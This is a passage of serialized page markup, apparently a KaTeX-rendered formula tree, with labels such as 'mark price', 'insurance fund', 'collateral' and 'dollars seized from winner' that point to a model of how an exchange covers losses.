6,"style":92848},[4043],[161228],{"type":23,"tag":41,"props":161229,"children":161230},{},[],{"type":23,"tag":41,"props":161232,"children":161234},{"style":161233},"top:2.2624em;",[161235,161239],{"type":23,"tag":41,"props":161236,"children":161238},{"className":161237,"style":160665},[4052],[],{"type":23,"tag":41,"props":161240,"children":161242},{"className":161241},[4012],[161243],{"type":23,"tag":41,"props":161244,"children":161246},{"className":161245},[4012],[161247,161253],{"type":23,"tag":41,"props":161248,"children":161250},{"className":161249,"style":92765},[4012,21574],[161251],{"type":28,"value":161252},"D",{"type":23,"tag":41,"props":161254,"children":161256},{"className":161255},[4028],[161257],{"type":23,"tag":41,"props":161258,"children":161260},{"className":161259},[4033,21628],[161261,161290],{"type":23,"tag":41,"props":161262,"children":161264},{"className":161263},[4038],[161265,161285],{"type":23,"tag":41,"props":161266,"children":161268},{"className":161267,"style":142320},[4043],[161269],{"type":23,"tag":41,"props":161270,"children":161271},{"style":109764},[161272,161276],{"type":23,"tag":41,"props":161273,"children":161275},{"className":161274,"style":4053},[4052],[],{"type":23,"tag":41,"props":161277,"children":161279},{"className":161278},[4058,4059,4060,4061],[161280],{"type":23,"tag":41,"props":161281,"children":161283},{"className":161282,"style":21575},[4012,21574,4061],[161284],{"type":28,"value":1634},{"type":23,"tag":41,"props":161286,"children":161288},{"className":161287},[21731],[161289],{"type":28,"value":21734},{"type":23,"tag":41,"props":161291,"children":161293},{"className":161292},[4038],[161294],{"type":23,"tag":41,"props":161295,"children":161297},{"className":161296,"style":92848},[4043],[161298],{"type":23,"tag":41,"props":161299,"children":161300},{},[],{"type":23,"tag":41,"props":161302,"children":161304},{"style":161303},"top:4.8901em;",[161305,161309],{"type":23,"tag":41,"props":161306,"children":161308},{"className":161307,"style":160665},[4052],[],{"type":23,"tag":41,"props":161310,"children":161312},{"className":161311},[4012],[161313],{"type":23,"tag":41,"props":161314,"children":161316},{"className":161315},[4012],[161317,161323],{"type":23,"tag":41,"props":161318,"children":161320},{"className":161319,"style":94773},[4012,21574],[161321],{"type":28,"value":161322},"U",{"type":23,"tag":41,"props":161324,"children":161326},{"className":161325},[4028],[161327],{"type":23,"tag":41,"props":161328,"children":161330},{"className":161329},[4033,21628],[161331,161361],{"type":23,"tag":41,"props":161332,"children":161334},{"className":161333},[4038],[161335,161356],{"type":23,"tag":41,"props":161336,"children":161338},{"className":161337,"style":142320},[4043],[161339],{"type":23,"tag":41,"props":161340,"children":161342},{"style":161341},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[161343,161347],{"type":23,"tag":41,"props":161344,"children":161346},{"className":161345,"style":4053},[4052],[],{"type":23,"tag":41,"props":161348,"children":161350},{"className":161349},[4058,4059,4060,4061],[161351],{"type":23,"tag":41,"props":161352,"children":161354},{"className":161353,"style":21575},[4012,21574,4061],[161355],{"type":28,"value":1634},{"type":23,"tag":41,"props":161357,"children":161359},{"className":161358},[21731],[161360],{"type":28,"value":21734},{"type":23,"tag":41,"props":161362,"children":161364},{"className":161363},[4038],[161365],{"type":23,"tag":41,"props":161366,"children":161368},{"className":161367,"style":92848},[4043],[161369],{"type":23,"tag":41,"props":161370,"children":161371},{},[],{"type":23,"tag":41,"props":161373,"children":161375},{"style":161374},"top:7.3078em;",[161376,161380],{"type":23,"tag":41,"props":161377,"children":161379},{"className":161378,"style":160665},[4052],[],{"type":23,"tag":41,"props":161381,"children":161383},{"className":161382},[4012],[161384],{"type":23,"tag":41,"props":161385,"children":161387},{"className":161386},[4012],[161388,161393],{"type":23,"tag":41,"props":161389,"children":161391},{"className":161390,"style":122542},[4012,21574],[161392],{"type":28,"value":122545},{"type":23,"tag":41,"props":161394,"children":161396},{"className":161395},[4028],[161397],{"type":23,"tag":41,"props":161398,"children":161400},{"className":161399},[4033,21628],[161401,161432],{"type":23,"tag":41,"props":161402,"children":161404},{"className":161403},[4038],[161405,161427],{"type":23,"tag":41,"props":161406,"children":161409},{"className":161407,"style":161408},[4043],"height:0.2806em;",[161410],{"type":23,"tag":41,"props":161411,"children":161413},{"style":161412},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[161414,161418],{"type":23,"tag":41,"props":161415,"children":161417},{"className":161416,"style":4053},[4052],[],{"type":23,"tag":41,"props":161419,"children":161421},{"className":161420},[4058,4059,4060,4061],[161422],{"type":23,"tag":41,"props":161423,"children":161425},{"className":161424},[4012,21574,4061],[161426],{"type":28,"value":21716},{"type":23,"tag":41,"props":161428,"children":161430},{"className":161429},[21731],[161431],{"type":28,"value":21734},{"type":23,"tag":41,"props":161433,"children":161435},{"className":161434},[4038],[161436],{"type":23,"tag":41,"props":161437,"children":161439},{"className":161438,"style":92848},[4043],[161440],{"type":23,"tag":41,"props":161441,"children":161442},{},[],{"type":23,"tag":41,"props":161444,"children":161446},{"className":161445},[21731],[161447],{"type":28,"value":21734},{"type":23,"tag":41,"props":161449,"children":161451},{"className":161450},[4038],[161452],{"type":23,"tag":41,"props":161453,"children":161456},{"className":161454,"style":161455},[4043],"height:11.3392em;",[161457],{"type":23,"tag":41,"props":161458,"children":161459},{},[],{"type":23,"tag":41,"props":161461,"children":161463},{"className":161462},[159579],[161464],{"type":23,"tag":41,"props":161465,"children":161467},{"className":161466},[4033,21628],[161468,163170],{"type":23,"tag":41,"props":161469,"children":161471},{"className":161470},[4038],[161472,163165],{"type":23,"tag":41,"props":161473,"children":161475},{"className":161474,"style":160656},[4043],[161476,161514,161552,161699,161934,162089,162194,162237,162458,162617,162807,162959],{"type":23,"tag":41,"props":161477,"children":161478},{"style":160660},[161479,161483],{"type":23,"tag":41,"props":161480,"children":161482},{"className":161481,"style":160665},[4052],[],{"type":23,"tag":41,"props":161484,"children":161486},{"className":161485},[4012],[161487,161491,161495,161500,161504],{"type":23,"tag":41,"props":161488,"children":161490},{"className":161489},[4012],[],{"type":23,"tag":41,"props":161492,"children":161494},{"className":161493,"style":4190},[4092],[],{"type":23,"tag":41,"props":161496,"children":161498},{"className":161497},[4195],[161499],{"type":28,"value":21593},{"type":23,"tag":41,"props":161501,"children":161503},{"className":161502,"style":4190},[4092],[],{"type":23,"tag":41,"props":161505,"children":161507},{"className":161506},[4012,28],[161508],{"type":23,"tag":41,"props":161509,"children":161511},{"className":161510},[4012],[161512],{"type":28,"value":161513},"mark price",{"type":23,"tag":41,"props":161515,"children":161516},{"style":160731},[161517,161521],{"type":23,"tag":41,"props":161518,"children":161520},{"className":161519,"style":160665},[4052],[],{"type":23,"tag":41,"props":161522,"children":161524},{"className":161523},[4012],[161525,161529,161533,161538,161542],{"type":23,"tag":41,"props":161526,"children":161528},{"className":161527},[4012],[],{"type":23,"tag":41,"props":161530,"children":161532},{"className":161531,"style":4190},[4092],[],{"type":23,"tag":41,"props":161534,"children":161536},{"className":161535},[4195],[161537],{"type":28,"value":21593},{"type":23,"tag":41,"props":161539,"children":161541},{"className":161540,"style":4190},[4092],[],{"type":23,"tag":41,"props":161543,"children":161545},{"className":161544},[4012,28],[161546],{"type":23,"tag":41,"props":161547,"children":161549},{"className":161548},[4012],[161550],{"type":28,"value":161551},"insurance fund",{"type":23,"tag":41,"props":161553,"children":161554},{"style":160748},[161555,161559],{"type":23,"tag":41,"props":161556,"children":161558},{"className":161557,"style":160665},[4052],[],{"type":23,"tag":41,"props":161560,"children":161562},{"className":161561},[4012],[161563,161567,161571,161576,161580,161590,161594,161599,161603],{"type":23,"tag":41,"props":161564,"children":161566},{"className":161565},[4012],[],{"type":23,"tag":41,"props":161568,"children":161570},{"className":161569,"style":4190},[4092],[],{"type":23,"tag":41,"props":161572,"children":161574},{"className":161573},[4195],[161575],{"type":28,"value":21593},{"type":23,"tag":41,"props":161577,"children":161579},{"className":161578,"style":4190},[4092],[],{"type":23,"tag":41,"props":161581,"children":161583},{"className":161582},[4012,28],[161584],{"type":23,"tag":41,"props":161585,"children":161587},{"className":161586},[4012],[161588],{"type":28,"value":161589},"collateral",{"type":23,"tag":41,"props":161591,"children":161593},{"className":161592,"style":4190},[4092],[],{"type":23,"tag":41,"props":161595,"children":161597},{"className":161596},[4195],[161598],{"type":28,"value":2381},{"type":23,"tag":41,"props":161600,"children":161602},{"className":161601,"style":4190},[4092],[],{"type":23,"tag":41,"props":161604,"children":161606},{"className":161605},[4012],[161607,161611,161695],{"type":23,"tag":41,"props":161608,"children":161610},{"className":161609},[21703,113283],[],{"type":23,"tag":41,"props":161612,"children":161614},{"className":161613},[113288],[161615],{"type":23,"tag":41,"props":161616,"children":161618},{"className":161617},[4033,21628],[161619,161684],{"type":23,"tag":41,"props":161620,"children":161622},{"className":161621},[4038],[161623,161679],{"type":23,"tag":41,"props":161624,"children":161627},{"className":161625,"style":161626},[4043],"height:1.3714em;",[161628,161648,161659],{"type":23,"tag":41,"props":161629,"children":161630},{"style":158874},[161631,161635],{"type":23,"tag":41,"props":161632,"children":161634},{"className":161633,"style":111936},[4052],[],{"type":23,"tag":41,"props":161636,"children":161638},{"className":161637},[4012],[161639],{"type":23,"tag":41,"props":161640,"children":161642},{"className":161641},[4012,28],[161643],{"type":23,"tag":41,"props":161644,"children":161646},{"className":161645},[4012],[161647],{"type":28,"value":158911},{"type":23,"tag":41,"props":161649,"children":161650},{"style":113338},[161651,161655],{"type":23,"tag":41,"props":161652,"children":161654},{"className":161653,"style":111936},[4052],[],{"type":23,"tag":41,"props":161656,"children":161658},{"className":161657,"style":113348},[113347],[],{"type":23,"tag":41,"props":161660,"children":161661},{"style":158925},[161662,161666],{"type":23,"tag":41,"props":161663,"children":161665},{"className":161664,"style":111936},[4052],[],{"type":23,"tag":41,"props":161667,"children":161669},{"className":161668},[4012],[161670],{"type":23,"tag":41,"props":161671,"children":161673},{"className":161672},[4012,28],[161674],{"type":23,"tag":41,"props":161675,"children":161677},{"className":161676},[4012],[161678],{"type":28,"value":158950},{"type":23,"tag":41,"props":161680,"children":161682},{"className":161681},[21731],[161683],{"type":28,"value":21734},{"type":23,"tag":41,"props":161685,"children":161687},{"className":161686},[4038],[161688],{"type":23,"tag":41,"props":161689,"children":161691},{"className":161690,"style":158968},[4043],[161692],{"type":23,"tag":41,"props":161693,"children":161694},{},[],{"type":23,"tag":41,"props":161696,"children":161698},{"className":161697},[21725,113283],[],{"type":23,"tag":41,"props":161700,"children":161701},{"style":160817},[161702,161706],{"type":23,"tag":41,"props":161703,"children":161705},{"className":161704,"style":160665},[4052],[],{"type":23,"tag":41,"props":161707,"children":161709},{"className":161708},[4012],[161710,161714,161718,161723,161727,161784,161788,161793,161797,161802,161859,161863,161868,161872,161929],{"type":23,"tag":41,"props":161711,"children":161713},{"className":161712},[4012],[],{"type":23,"tag":41,"props":161715,"children":161717},{"className":161716,"style":4190},[4092],[],{"type":23,"tag":41,"props":161719,"children":161721},{"className":161720},[4195],[161722],{"type":28,"value":2381},{"type":23,"tag":41,"props":161724,"children":161726},{"className":161725,"style":4190},[4092],[],{"type":23,"tag":41,"props":161728,"children":161730},{"className":161729},[4012],[161731,161736],{"type":23,"tag":41,"props":161732,"children":161734},{"className":161733},[4012,21574],[161735],{"type":28,"value":10649},{"type":23,"tag":41,"props":161737,"children":161739},{"className":161738},[4028],[161740],{"type":23,"tag":41,"props":161741,"children":161743},{"className":161742},[4033,21628],[161744,161773],{"type":23,"tag":41,"props":161745,"children":161747},{"className":161746},[4038],[161748,161768],{"type":23,"tag":41,"props":161749,"children":161751},{"className":161750,"style":93294},[4043],[161752],{"type":23,"tag":41,"props":161753,"children":161754},{"style":92821},[161755,161759],{"type":23,"tag":41,"props":161756,"children":161758},{"className":161757,"style":4053},[4052],[],{"type":23,"tag":41,"props":161760,"children":161762},{"className":161761},[4058,4059,4060,4061],[161763],{"type":23,"tag":41,"props":161764,"children":161766},{"className":161765},[4012,21574,4061],[161767],{"type":28,"value":3737},{"type":23,"tag":41,"props":161769,"children":161771},{"className":161770},[21731],[161772],{"type":28,"value":21734},{"type":23,"tag":41,"props":161774,"children":161776},{"className":161775},[4038],[161777],{"type":23,"tag":41,"props":161778,"children":161780},{"className":161779,"style":92848},[4043],[161781],{"type":23,"tag":41,"props":161782,"children":161783},{},[],{"type":23,"tag":41,"props":161785,"children":161787},{"className":161786,"style":4093},[4092],[],{"type":23,"tag":41,"props":161789,"children":161791},{"className":161790},[4098],[161792],{"type":28,"value":111027},{"type":23,"tag":41,"props":161794,"children":161796},{"className":161795,"style":4093},[4092],[],{"type":23,"tag":41,"props":161798,"children":161800},{"className":161799},[21703],[161801],{"type":28,"value":1737},{"type":23,"tag":41,"props":161803,"children":161805},{"className":161804},[4012],[161806,161811],{"type":23,"tag":41,"props":161807,"children":161809},{"className":161808,"style":21575},[4012,21574],[161810],{"type":28,"value":21578},{"type":23,"tag":41,"props":161812,"children":161814},{"className":161813},[4028],[161815],{"type":23,"tag":41,"props":161816,"children":161818},{"className":161817},[4033,21628],[161819,161848],{"type":23,"tag":41,"props":161820,"children":161822},{"className":161821},[4038],[161823,161843],{"type":23,"tag":41,"props":161824,"children":161826},{"className":161825,"style":109197},[4043],[161827],{"type":23,"tag":41,"props":161828,"children":161829},{"style":160698},[161830,161834],{"type":23,"tag":41,"props":161831,"children":161833},{"className":161832,"style":4053},[4052],[],{"type":23,"tag":41,"props":161835,"children":161837},{"className":161836},[4058,4059,4060,4061],[161838],{"type":23,"tag":41,"props":161839,"children":161841},{"className":161840},[4012,21574,4061],[161842],{"type":28,"value":56399},{"type":23,"tag":41,"props":161844,"children":161846},{"className":161845},[21731],[161847],{"type":28,"value":21734},{"type":23,"tag":41,"props":161849,"children":161851},{"className":161850},[4038],[161852],{"type":23,"tag":41,"props":161853,"children":161855},{"className":161854,"style":92848},[4043],[161856],{"type":23,"tag":41,"props":161857,"children":161858},{},[],{"type":23,"tag":41,"props":161860,"children":161862},{"className":161861,"style":4093},[4092],[],{"type":23,"tag":41,"props":161864,"children":161866},{"className":161865},[4098],[161867],{"type":28,"value":4072},{"type":23,"tag":41,"props":161869,"children":161871},{"className":161870,"style":4093},[4092],[],{"type":23,"tag":41,"props":161873,"children":161875},{"className":161874},[4012],[161876,161881],{"type":23,"tag":41,"props":161877,"children":161879},{"className":161878},[4012,21574],[161880],{"type":28,"value":24},{"type":23,"tag":41,"props":161882,"children":161884},{"className":161883},[4028],[161885],{"type":23,"tag":41,"props":161886,"children":161888},{"className":161887},[4033,21628],[161889,161918],{"type":23,"tag":41,"props":161890,"children":161892},{"className":161891},[4038],[161893,161913],{"type":23,"tag":41,"props":161894,"children":161896},{"className":161895,"style":93294},[4043],[161897],{"type":23,"tag":41,"props":161898,"children":161899},{"style":92821},[161900,161904],{"type":23,"tag":41,"props":161901,"children":161903},{"className":161902,"style":4053},[4052],[],{"type":23,"tag":41,"props":161905,"children":161907},{"className":161906},[4058,4059,4060,4061],[161908],{"type":23,"tag":41,"props":161909,"children":161911},{"className":161910},[4012,21574,4061],[161912],{"type":28,"value":3737},{"type":23,"tag":41,"props":161914,"children":161916},{"className":161915},[21731],[161917],{"type":28,"value":21734},{"type":23,"tag":41,"props":161919,"children":161921},{"className":161920},[4038],[161922],{"type":23,"tag":41,"props":161923,"children":161925},{"className":161924,"style":92848},[4043],[161926],{"type":23,"tag":41,"props":161927,"children":161928},{},[],{"type":23,"tag":41,"props":161930,"children":161932},{"className":161931},[21725],[161933],{"type":28,"value":2678},{"type":23,"tag":41,"props":161935,"children":161936},{"style":160887},[161937,161941],{"type":23,"tag":41,"props":161938,"children":161940},{"className":161939,"style":160665},[4052],[],{"type":23,"tag":41,"props":161942,"children":161944},{"className":161943},[4012],[161945,161949,161953,161958,161962,162019,162023,162028,162032],{"type":23,"tag":41,"props":161946,"children":161948},{"className":161947},[4012],[],{"type":23,"tag":41,"props":161950,"children":161952},{"className":161951,"style":4190},[4092],[],{"type":23,"tag":41,"props":161954,"children":161956},{"className":161955},[4195],[161957],{"type":28,"value":2381},{"type":23,"tag":41,"props":161959,"children":161961},{"className":161960,"style":4190},[4092],[],{"type":23,"tag":41,"props":161963,"children":161965},{"className":161964},[4012],[161966,161971],{"type":23,"tag":41,"props":161967,"children":161969},{"className":161968},[4012,21574],[161970],{"type":28,"value":3146},{"type":23,"tag":41,"props":161972,"children":161974},{"className":161973},[4028],[161975],{"type":23,"tag":41,"props":161976,"children":161978},{"className":161977},[4033,21628],[161979,162008],{"type":23,"tag":41,"props":161980,"children":161982},{"className":161981},[4038],[161983,162003],{"type":23,"tag":41,"props":161984,"children":161986},{"className":161985,"style":93294},[4043],[161987],{"type":23,"tag":41,"props":161988,"children":161989},{"style":92821},[161990,161994],{"type":23,"tag":41,"props":161991,"children":161993},{"className":161992,"style":4053},[4052],[],{"type":23,"tag":41,"props":161995,"children":161997},{"className":161996},[4058,4059,4060,4061],[161998],{"type":23,"tag":41,"props":161999,"children":162001},{"className":162000},[4012,21574,4061],[162002],{"type":28,"value":3737},{"type":23,"tag":41,"props":162004,"children":162006},{"className":162005},[21731],[162007],{"type":28,"value":21734},{"type":23,"tag":41,"props":162009,"children":162011},{"className":162010},[4038],[162012],{"type":23,"tag":41,"props":162013,"children":162015},{"className":162014,"style":92848},[4043],[162016],{"type":23,"tag":41,"props":162017,"children":162018},{},[],{"type":23,"tag":41,"props":162020,"children":162022},{"className":162021,"style":4093},[4092],[],{"type":23,"tag":41,"props":162024,"children":162026},{"className":162025},[4098],[162027],{"type":28,"value":4383},{"type":23,"tag":41,"props":162029,"children":162031},{"className":162030,"style":4093},[4092],[],{"type":23,"tag":41,"props":162033,"children":162035},{"className":162034},[4012],[162036,162041],{"type":23,"tag":41,"props":162037,"children":162039},{"className":162038,"style":93251},[4012,21574],[162040],{"type":28,"value":160836},{"type":23,"tag":41,"props":162042,"children":162044},{"className":162043},[4028],[162045],{"type":23,"tag":41,"props":162046,"children":162048},{"className":162047},[4033,21628],[162049,162078],{"type":23,"tag":41,"props":162050,"children":162052},{"className":162051},[4038],[162053,162073],{"type":23,"tag":41,"props":162054,"children":162056},{"className":162055,"style":93294},[4043],[162057],{"type":23,"tag":41,"props":162058,"children":162059},{"style":93298},[162060,162064],{"type":23,"tag":41,"props":162061,"children":162063},{"className":162062,"style":4053},[4052],[],{"type":23,"tag":41,"props":162065,"children":162067},{"className":162066},[4058,4059,4060,4061],[162068],{"type":23,"tag":41,"props":162069,"children":162071},{"className":162070},[4012,21574,4061],[162072],{"type":28,"value":3737},{"type":23,"tag":41,"props":162074,"children":162076},{"className":162075},[21731],[162077],{"type":28,"value":21734},{"type":23,"tag":41,"props":162079,"children":162081},{"className":162080},[4038],[162082],{"type":23,"tag":41,"props":162083,"children":162085},{"className":162084,"style":92848},[4043],[162086],{"type":23,"tag":41,"props":162087,"children":162088},{},[],{"type":23,"tag":41,"props":162090,"children":162091},{"style":160956},[162092,162096],{"type":23,"tag":41,"props":162093,"children":162095},{"className":162094,"style":160665},[4052],[],{"type":23,"tag":41,"props":162097,"children":162099},{"className":162098},[4012],[162100,162104,162108,162113,162117],{"type":23,"tag":41,"props":162101,"children":162103},{"className":162102},[4012],[],{"type":23,"tag":41,"props":162105,"children":162107},{"className":162106,"style":4190},[4092],[],{"type":23,"tag":41,"props":162109,"children":162111},{"className":162110},[4195],[162112],{"type":28,"value":2381},{"type":23,"tag":41,"props":162114,"children":162116},{"className":162115,"style":4190},[4092],[],{"type":23,"tag":41,"props":162118,"children":162120},{"className":162119},[4012],[162121,162126],{"type":23,"tag":41,"props":162122,"children":162124},{"className":162123,"style":93251},[4012,21574],[162125],{"type":28,"value":160836},{"type":23,"tag":41,"props":162127,"children":162129},{"className":162128},[4028],[162130],{"type":23,"tag":41,"props":162131,"children":162133},{"className":162132},[4033,21628],[162134,162182],{"type":23,"tag":41,"props":162135,"children":162137},{"className":162136},[4038],[162138,162177],{"type":23,"tag":41,"props":162139,"children":162142},{"className":162140,"style":162141},[4043],"height:0.8213em;",[162143,162160],{"type":23,"tag":41,"props":162144,"children":162146},{"style":162145},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[162147,162151],{"type":23,"tag":41,"props":162148,"children":162150},{"className":162149,"style":4053},[4052],[],{"type":23,"tag":41,"props":162152,"children":162154},{"className":162153},[4058,4059,4060,4061],[162155],{"type":23,"tag":41,"props":162156,"children":162158},{"className":162157},[4012,21574,4061],[162159],{"type":28,"value":3737},{"type":23,"tag":41,"props":162161,"children":162163},{"style":162162},"top:-3.113em;margin-right:0.05em;",[162164,162168],{"type":23,"tag":41,"props":162165,"children":162167},{"className":162166,"style":4053},[4052],[],{"type":23,"tag":41,"props":162169,"children":162171},{"className":162170},[4058,4059,4060,4061],[162172],{"type":23,"tag":41,"props":162173,"children":162175},{"className":162174},[4098,4061],[162176],{"type":28,"value":4383},{"type":23,"tag":41,"props":162178,"children":162180},{"className":162179},[21731],[162181],{"type":28,"value":21734},{"type":23,"tag":41,"props":162183,"children":162185},{"className":162184},[4038],[162186],{"type":23,"tag":41,"props":162187,"children":162190},{"className":162188,"style":162189},[4043],"height:0.267em;",[162191],{"type":23,"tag":41,"props":162192,"children":162193},{},[],{"type":23,"tag":41,"props":162195,"children":162196},{"style":161026},[162197,162201],{"type":23,"tag":41,"props":162198,"children":162200},{"className":162199,"style":160665},[4052],[],{"type":23,"tag":41,"props":162202,"children":162204},{"className":162203},[4012],[162205,162209,162213,162218,162222,162232],{"type":23,"tag":41,"props":162206,"children":162208},{"className":162207},[4012],[],{"type":23,"tag":41,"props":162210,"children":162212},{"className":162211,"style":4190},[4092],[],{"type":23,"tag":41,"props":162214,"children":162216},{"className":162215},[4195],[162217],{"type":28,"value":21593},{"type":23,"tag":41,"props":162219,"children":162221},{"className":162220,"style":4190},[4092],[],{"type":23,"tag":41,"props":162223,"children":162225},{"className":162224},[4012,28],[162226],{"type":23,"tag":41,"props":162227,"children":162229},{"className":162228},[4012],[162230],{"type":28,"value":162231},"dollars seized from winner ",{"type":23,"tag":41,"props":162233,"children":162235},{"className":162234},[4012,21574],[162236],{"type":28,"value":3737},{"type":23,"tag":41,"props":162238,"children":162239},{"style":161095},[162240,162244],{"type":23,"tag":41,"props":162241,"children":162243},{"className":162242,"style":160665},[4052],[],{"type":23,"tag":41,"props":162245,"children":162247},{"className":162246},[4012],[162248,162252,162256,162261,162265],{"type":23,"tag":41,"props":162249,"children":162251},{"className":162250},[4012],[],{"type":23,"tag":41,"props":162253,"children":162255},{"className":162254,"style":4190},[4092],[],{"type":23,"tag":41,"props":162257,"children":162259},{"className":162258},[4195],[162260],{"type":28,"value":2381},{"type":23,"tag":41,"props":162262,"children":162264},{"className":162263,"style":4190},[4092],[],{"type":23,"tag":41,"props":162266,"children":162268},{"className":162267},[4012],[162269,162273,162454],{"type":23,"tag":41,"props":162270,"children":162272},{"className":162271},[21703,113283],[],{"type":23,"tag":41,"props":162274,"children":162276},{"className":162275},[113288],[162277],{"type":23,"tag":41,"props":162278,"children":162280},{"className":162279},[4033,21628],[162281,162442],{"type":23,"tag":41,"props":162282,"children":162284},{"className":162283},[4038],[162285,162437],{"type":23,"tag":41,"props":162286,"children":162289},{"className":162287,"style":162288},[4043],"height:1.1076em;",[162290,162358,162369],{"type":23,"tag":41,"props":162291,"children":162292},{"style":158874},[162293,162297],{"type":23,"tag":41,"props":162294,"children":162296},{"className":162295,"style":111936},[4052],[],{"type":23,"tag":41,"props":162298,"children":162300},{"className":162299},[4012],[162301],{"type":23,"tag":41,"props":162302,"children":162304},{"className":162303},[4012],[162305,162310],{"type":23,"tag":41,"props":162306,"children":162308},{"className":162307,"style":122045},[4012,21574],[162309],{"type":28,"value":49566},{"type":23,"tag":41,"props":162311,"children":162313},{"className":162312},[4028],[162314],{"type":23,"tag":41,"props":162315,"children":162317},{"className":162316},[4033,21628],[162318,162347],{"type":23,"tag":41,"props":162319,"children":162321},{"className":162320},[4038],[162322,162342],{"type":23,"tag":41,"props":162323,"children":162325},{"className":162324,"style":93294},[4043],[162326],{"type":23,"tag":41,"props":162327,"children":162328},{"style":160993},[162329,162333],{"type":23,"tag":41,"props":162330,"children":162332},{"className":162331,"style":4053},[4052],[],{"type":23,"tag":41,"props":162334,"children":162336},{"className":162335},[4058,4059,4060,4061],[162337],{"type":23,"tag":41,"props":162338,"children":162340},{"className":162339},[4012,21574,4061],[162341],{"type":28,"value":3737},{"type":23,"tag":41,"props":162343,"children":162345},{"className":162344},[21731],[162346],{"type":28,"value":21734},{"type":23,"tag":41,"props":162348,"children":162350},{"className":162349},[4038],[162351],{"type":23,"tag":41,"props":162352,"children":162354},{"className":162353,"style":92848},[4043],[162355],{"type":23,"tag":41,"props":162356,"children":162357},{},[],{"type":23,"tag":41,"props":162359,"children":162360},{"style":113338},[162361,162365],{"type":23,"tag":41,"props":162362,"children":162364},{"className":162363,"style":111936},[4052],[],{"type":23,"tag":41,"props":162366,"children":162368},{"className":162367,"style":113348},[113347],[],{"type":23,"tag":41,"props":162370,"children":162371},{"style":158925},[162372,162376],{"type":23,"tag":41,"props":162373,"children":162375},{"className":162374,"style":111936},[4052],[],{"type":23,"tag":41,"props":162377,"children":162379},{"className":162378},[4012],[162380],{"type":23,"tag":41,"props":162381,"children":162383},{"className":162382},[4012],[162384,162389],{"type":23,"tag":41,"props":162385,"children":162387},{"className":162386},[4012,21574],[162388],{"type":28,"value":19263},{"type":23,"tag":41,"props":162390,"children":162392},{"className":162391},[4028],[162393],{"type":23,"tag":41,"props":162394,"children":162396},{"className":162395},[4033,21628],[162397,162426],{"type":23,"tag":41,"props":162398,"children":162400},{"className":162399},[4038],[162401,162421],{"type":23,"tag":41,"props":162402,"children":162404},{"className":162403,"style":93294},[4043],[162405],{"type":23,"tag":41,"props":162406,"children":162407},{"style":92821},[162408,162412],{"type":23,"tag":41,"props":162409,"children":162411},{"className":162410,"style":4053},[4052],[],{"type":23,"tag":41,"props":162413,"children":162415},{"className":162414},[4058,4059,4060,4061],[162416],{"type":23,"tag":41,"props":162417,"children":162419},{"className":162418},[4012,21574,4061],[162420],{"type":28,"value":3737},{"type":23,"tag":41,"props":162422,"children":162424},{"className":162423},[21731],[162425],{"type":28,"value":21734},{"type":23,"tag":41,"props":162427,"children":162429},{"className":162428},[4038],[162430],{"type":23,"tag":41,"props":162431,"children":162433},{"className":162432,"style":92848},[4043],[162434],{"type":23,"tag":41,"props":162435,"children":162436},{},[],{"type":23,"tag":41,"props":162438,"children":162440},{"className":162439},[21731],[162441],{"type":28,"value":21734},{"type":23,"tag":41,"props":162443,"children":162445},{"className":162444},[4038],[162446],{"type":23,"tag":41,"props":162447,"children":162450},{"className":162448,"style":162449},[4043],"height:0.836em;",[162451],{"type":23,"tag":41,"props":162452,"children":162453},{},[],{"type":23,"tag":41,"props":162455,"children":162457},{"className":162456},[21725,113283],[],{"type":23,"tag":41,"props":162459,"children":162460},{"style":161164},[162461,162465],{"type":23,"tag":41,"props":162462,"children":162464},{"className":162463,"style":160665},[4052],[],{"type":23,"tag":41,"props":162466,"children":162468},{"className":162467},[4012],[162469,162473,162477,162482,162486,162556,162560],{"type":23,"tag":41,"props":162470,"children":162472},{"className":162471},[4012],[],{"type":23,"tag":41,"props":162474,"children":162476},{"className":162475,"style":4190},[4092],[],{"type":23,"tag":41,"props":162478,"children":162480},{"className":162479},[4195],[162481],{"type":28,"value":2381},{"type":23,"tag":41,"props":162483,"children":162485},{"className":162484,"style":4190},[4092],[],{"type":23,"tag":41,"props":162487,"children":162490},{"className":162488},[21610,162489],"op-limits",[162491],{"type":23,"tag":41,"props":162492,"children":162494},{"className":162493},[4033,21628],[162495,162544],{"type":23,"tag":41,"props":162496,"children":162498},{"className":162497},[4038],[162499,162539],{"type":23,"tag":41,"props":162500,"children":162503},{"className":162501,"style":162502},[4043],"height:1.05em;",[162504,162522],{"type":23,"tag":41,"props":162505,"children":162507},{"style":162506},"top:-1.8723em;margin-left:0em;",[162508,162513],{"type":23,"tag":41,"props":162509,"children":162512},{"className":162510,"style":162511},[4052],"height:3.05em;",[],{"type":23,"tag":41,"props":162514,"children":162516},{"className":162515},[4058,4059,4060,4061],[162517],{"type":23,"tag":41,"props":162518,"children":162520},{"className":162519},[4012,21574,4061],[162521],{"type":28,"value":3737},{"type":23,"tag":41,"props":162523,"children":162525},{"style":162524},"top:-3.05em;",[162526,162530],{"type":23,"tag":41,"props":162527,"children":162529},{"className":162528,"style":162511},[4052],[],{"type":23,"tag":41,"props":162531,"children":162532},{},[162533],{"type":23,"tag":41,"props":162534,"children":162537},{"className":162535},[21610,21615,162536],"large-op",[162538],{"type":28,"value":108560},{"type":23,"tag":41,"props":162540,"children":162542},{"className":162541},[21731],[162543],{"type":28,"value":21734},{"type":23,"tag":41,"props":162545,"children":162547},{"className":162546},[4038],[162548],{"type":23,"tag":41,"props":162549,"children":162552},{"className":162550,"style":162551},[4043],"height:1.2777em;",[162553],{"type":23,"tag":41,"props":162554,"children":162555},{},[],{"type":23,"tag":41,"props":162557,"children":162559},{"className":162558,"style":4131},[4092],[],{"type":23,"tag":41,"props":162561,"children":162563},{"className":162562},[4012],[162564,162569],{"type":23,"tag":41,"props":162565,"children":162567},{"className":162566},[4012,21574],[162568],{"type":28,"value":19263},{"type":23,"tag":41,"props":162570,"children":162572},{"className":162571},[4028],[162573],{"type":23,"tag":41,"props":162574,"children":162576},{"className":162575},[4033,21628],[162577,162606],{"type":23,"tag":41,"props":162578,"children":162580},{"className":162579},[4038],[162581,162601],{"type":23,"tag":41,"props":162582,"children":162584},{"className":162583,"style":93294},[4043],[162585],{"type":23,"tag":41,"props":162586,"children":162587},{"style":92821},[162588,162592],{"type":23,"tag":41,"props":162589,"children":162591},{"className":162590,"style":4053},[4052],[],{"type":23,"tag":41,"props":162593,"children":162595},{"className":162594},[4058,4059,4060,4061],[162596],{"type":23,"tag":41,"props":162597,"children":162599},{"className":162598},[4012,